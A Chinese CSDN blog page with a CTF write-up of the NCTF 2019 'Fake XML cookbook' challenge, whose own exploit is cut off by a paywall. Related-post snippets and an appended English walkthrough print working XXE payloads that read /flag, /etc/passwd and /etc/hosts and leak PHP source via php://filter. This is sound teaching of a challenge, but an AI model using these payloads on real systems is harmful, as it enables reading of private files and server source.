【NCTF 2019】Fake XML cookbook

原创

于 2025-03-31 08:42:57 发布 · 154 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#xml #NCTF #网络安全 #NSSCTF

题目

POST /doLogin.php HTTP/1.1
Host: node4.anna.nssctf.cn:28258
Content-Length: 62
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml;charset=UTF-8
Origin: http://node4.anna.nssctf.cn:28258
Referer: http://node4.anna.nssctf.cn:28258/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

<user><username>111</username><password>1111</password></user>

<user><username>111</username><password>1111</password></user>

思路

XXE攻击利用了XML解析器对外部实体的支持，攻击者可以通过构造恶意的XML文档，让解析器加载敏感文件、执行网络请求或造成拒绝服务等

EXP

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  &

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

XiaoHei_Q

关注关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

【学习笔记 46】 buu [NCTF2019]Fake XML cookbook

weixin_43553654的博客

08-03

516

0x00 知识点 XXE攻击 0x01 知识点详解什么是XXE攻击？答： XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。这里有一篇大佬的博客可以学习学习 0x02 解题思路

buuctf-[NCTF2019]Fake XML cookbook(小宇特详解)

小宇的web博客

02-18

4618

buuctf-[NCTF2019]Fake XML cookbook(小宇特详解) 这里先看题乍一看像是sql注入，但是题目提示了是xml，这里就不考虑sql注入了。先抓包看一下这里的X-Requested-With提示了XML 然后发送到了doLogin.php 这里先讲一下XML的相关知识 XXE的危害和SSRF的有点像 XXE=>XML外部实体注入（被各种后端脚本调用） XML=>像html，html的目的是显示数据，但是xml的目的是传输数据，他没有预定义，他是纯文本，他是不会

参与评论您还未登录，请先登录后发表或查看评论

[NCTF2019]Fake XML cookbook

weixin_55710577的博客

06-23

1966

[NCTF2019]Fake XML cookbook

[NCTF2019]Fake XML cookbook(特详解)

热门推荐

qq_74806534的博客

01-30

2万+

攻击者可以通过构造恶意的 XML 文档将其发送到应用程序中，在解析该文档时，XML 解析器会加载外部实体（如文件、URL等），以便在文档中引用它们。PHP 默认使用 libxml 来解析 XML，但是从 libxml 2.9.0 开始，它默认不再解析外部实体，导致 PHP 下的 XXE 漏洞已经逐渐消失，除非你指定 LIBLXML_NOENT 去开启外部实体解析，才会存在 XXE 漏洞。4.在成功回调函数中，根据返回的 XML 数据解析出登录结果的代码和消息，然后根据不同的结果更新页面上的提示信息。

[NCTF2019]Fake XML cookbook 1

shinygod的博客

03-13

2157

知识点：XML实体注入漏洞（XXE）原理：XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。详细了解查看源代码，访问doLogin.php 访问doLogin.php,提示加载外部xml实体 DOCTYPE（文档类型定义的声明） ENTITY（实体的声明） SYSTEM、PU

【BUUCTF】[NCTF2019]Fake XML cookbook

aoao331198的博客

04-30

446

bp抓包观察，username和password是以xml文件形式post的学习从XML相关一步一步到XXE漏洞用最基本的XXE攻击 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY user SYSTEM "file:///flag"> ]> <user><username>&user;</username><password>123&

[NCTF2019]Fake XML cookbook1

whale_waves的博客

12-11

980

xml注入其实和sql注入类似，利用了xml的解析机制如果系统没有将‘’进行转义，那么攻击者就可以修改或者添加xml信息例如：这里是正常的注册的xml 用户输入假如我添加一个呢，这样是否就将我们输入的用户名变成了权限用户输入

BUUCTF [NCTF2019] Fake XML cookbook

Senimo

01-03

968

[NCTF2019]Fake XML cookbook 考点：启动环境：由题目提示，猜测为XXE漏洞。首先尝试登陆：使用BurpSuite抓取数据包：看到了其中的XML代码： <user><username>admin</username><password>admin</password></user> 查看网页源码： <script type='text/javascript'> function d

[NCTF2019]Fake XML cookbook XML注入

m0_64180167的博客

09-12

935

看到这个界面就像admin 123456弱口令试试看果然进不去这里有个tips 但是没有办法点击我们进源代码看看发现源代码中就存在检测账号密码的内容但是不知道该干嘛这里很奇怪为啥xml我们直接搜搜看xml存在什么漏洞发现存在xml注入漏洞我们来学习一下这是最简单xml注入这里是使用外部实体注入。

[NCTF2019]Fake XML cookbook [XXE注入]

最新发布

2401_86190146的博客

03-30

534

构造payload，这样登录错误就会在<msg>里面显示用户名，但是用户名引用了XML外部实体，所以会显示file:///flag的内容。ENTITY xxe SYSTEM "file:///flag">]>定义外部实体的名字以及地址。一开始笨了吧唧的光在输入框里构造payload了，完全忘了还可以bp抓包，把<!ENTITY xxe SYSTEM "file:///flag">]>放到前面去，任意修改位置。会回显用户名，以用户名作为回显位，回显flag。

BUUCTF[NCTF2019]Fake XML cookbook

qq_62078839的博客

03-30

371

打开发现一个登录窗口，尝试常见的admin密码登录不超过，直接BP抓包发现username和password是xml格式尝试XML外部实体注入 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]> <user><username>&admin;</userna...

NCTF2019 Fake XML cookbook

Tajang的大千世界

02-09

371

发现使用XML存储username和password。将内容发送至Repeater，然后写入恶意实体，注意这里是使用file://协议读取flag文件，并且将这个文件赋给admin。后面的admin前有&的意思是读取admin。所以这里会读取flag文件。蒙了几个username和password都显示错误，看来没有太多提示了。既然题目提示了XML那就百度一波。已知晓XML存在实体注入，引入实体文件，然后读取它就完成注入了。得出flag，感觉挺顺利的，第一次遇见xml实体注入，或者叫XXE攻击。

[NCTF2019]True XML cookbook

02-14

### NCTF2019 True XML Challenge Solutions and Walkthrough In the context of the NCTF2019 competition, several challenges involved exploiting XXE (XML External Entity) vulnerabilities within XML documents to achieve various objectives such as file reading or server-side request forgery. #### Exploiting Basic XXE Vulnerability An example payload that demonstrates a basic XXE attack is shown below: ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///etc/hosts"> ]> <user> <username>&admin;</username> <password>1</password> </user> ``` This payload attempts to read the contents of `/etc/hosts` by defining an external entity `admin`, which references this system file[^2]. #### Advanced File Reading with Different Protocols When direct access using the `file://` protocol does not work due to restrictions imposed by some parsers, alternative protocols can be used. For instance, PHP's filter wrapper allows for more sophisticated attacks where files are encoded before being sent back to the attacker: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY xee SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php"> ]> <user> <username>&xee;</username> <password>123123</password> </user> ``` Here, instead of directly accessing the target file via its path, the content of `doLogin.php` gets base64-encoded through PHP’s filtering mechanism prior to transmission[^4]. #### Targeting Specific Files on Server For scenarios requiring specific sensitive information like flags stored somewhere accessible only internally, crafting payloads targeting these locations becomes crucial: ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]> <user> <username>&admin;</username> <password>123456</password> </user> ``` The above code snippet aims at retrieving flag data located under root directory named 'flag'[^3]. #### General Approach Against Black Box Systems Even without detailed knowledge about internal structures, one could still attempt common paths known across many systems: ```xml <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <user><username> &xxe; </username><password> 1 </password></user> ``` By referencing well-known Unix/Linux configuration files (`/etc/passwd`) in the entity definition, attackers may gain insights into underlying OS configurations even when no explicit details were provided initially[^5]. --related questions-- 1. How do different web application frameworks handle XML parsing differently? 2. What measures should developers take to prevent XXE attacks effectively? 3. Can you provide examples of real-world incidents caused by XXE vulnerabilities? 4. Are there any tools specifically designed for detecting XXE flaws during security audits? 5. In what ways has modern software development mitigated risks associated with XXE issues over time?